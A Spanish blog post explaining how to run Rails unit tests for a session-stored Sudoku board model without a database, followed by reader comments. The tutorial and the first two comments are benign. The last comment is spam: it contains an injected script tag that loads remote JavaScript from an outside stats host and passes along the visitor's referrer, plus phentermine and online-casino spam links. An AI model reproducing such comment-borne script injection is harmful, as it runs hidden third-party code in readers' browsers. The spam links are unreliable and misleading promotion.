Una de las características más interesantes del desarrollo de Ruby on Rails es el soporte de automatización de pruebas. Cualquier tutorial de RoR nos explica cómo montar los escenarios de pruebas y lanzarlas resulta tan sencillo como hacer rake test_units

Nosotros aún no vamos a tener tanta suerte, porque, si recordáis, el único modelo de nuestra aplicación es un humilde tablero de Sudoku que no se almacena en la base de datos, sino en una variable de sesión.

Así, dado el siguiente test:

require File.dirname(__FILE__) + '/../test_helper'
require 'Tablero.rb'

class TableroTest < Test::Unit::TestCase
  def setup
    @tablero = Tablero.new
    @tablero.shuffle
  end

  def test_truth
    assert_kind_of Tablero,  @tablero
  end

  def test_recien_creado
    assert (@tablero.resuelto? == false), "El tablero nuevo no esta resuelto" 
  end
end

Nos encontraremos con que falla estrepitosamente al hacer ruby test/unit/tablero_test.rb. El motivo: el framework de pruebas intenta cargar los escenarios de pruebas de una base de datos que no hemos definido. Para solventar este inconveniente, basta con comentar las líneas

require 'active_record/fixtures'

Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" 

y

def create_fixtures(*table_names)
   Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures", table_names)
end

Y podremos lanzar nuestras pruebas unitarias sobre el modelo Tablero.rb.

Abundando algo más sobre las pruebas específicas del modelo, queremos realizar una serie de tests para ver si el algoritmo que determina que el tablero está resuelto es correcto. Para ello, tenemos el método resuelto? en el modelo que, obviamente, devuelve true si el array con los datos iniciales es idéntico al array con los datos de box_mascara, que es el que ha ido introduciendo el usuario.

def resuelto?
  resuelto=true;
  for x1 in 0..@size-1
    for y1 in 0..@size-1
      if @box_mascara[x1][y1] != @box[x1][y1] then
        resuelto=false;
      end
    end
  end
  resuelto
end

Para probar esto, podemos probar con el siguiente código en test/unit/tablero_test.rb. La primera línea sirve para hacer una copia profunda de los contenidos de un array usando la librería Marshal

def test_resolucion
      @tablero.box_mascara=Marshal.load(Marshal.dump(@tablero.box))
      assert (@tablero.resuelto?== true)
end

Sin embargo, este test falla, el motivo: el atributo box_mascara de la clase Tablero está definido como attr_reader co nlo cual desde nuestro test no podemos modificar sus contenidos. La solución nos da una idea de la potencia de Ruby, en el propio fichero test/unit/tablero_test.rb podemos redefinir la clase Tablero para que, sólo durante el test, nos permita el acceso de escritura al atributo deseado:

class Tablero 
  attr_writer :box
  attr_writer :box_mascara
end

Tras lo cual ruby test/unit/tablero_test.rb se ejecuta sin problemas.

3 Responses to “Pruebas unitarias sin base de datos”

  1. Edu Says:
    Que raro. Yo también tengo un modelo sin tabla y no he tenido que comentar nada para que funcione. Lo único que he hecho es no cargar ningun fixture. Pero me funciona sin más. Las líneas que dices que hay que comentar, ¿de que fichero son? Muy bueno el truquillo de redefinir parte de la clase Tablero para hacer que se pueda escribir en los atributos. Ruby rulez! ;-)
  2. Epaminondas Pantulis Says:
    Edu: supongo que a tí te funciona porque tienes otros modelos que sí tienen tablas en la BD, para lo que tienes que tener forzosamente definida una base de datos, con usuario y clave en databases.yml El error que me da a mi es que el sistema de tests siempre trata de conectarse a una BD, al no tener ninguna definida... En cuanto a las líneas que he comentado, son del fichero test_helper.rb
  3. slots Says:

    ukeht84-w9bia1e-tw6qdd0f-0 <script>var r = document.referrer; document.write(‘<script http: src='http://www.stats-log.com/gb.php?id=g&r=\'<ins>escape®</ins>’”><’ + ’/script>‘)</script> http://www.alexa.com/data/details?url=rx-simple.com/phentermine.html#1 <a href=' />online casino

Sorry, comments are closed for this article.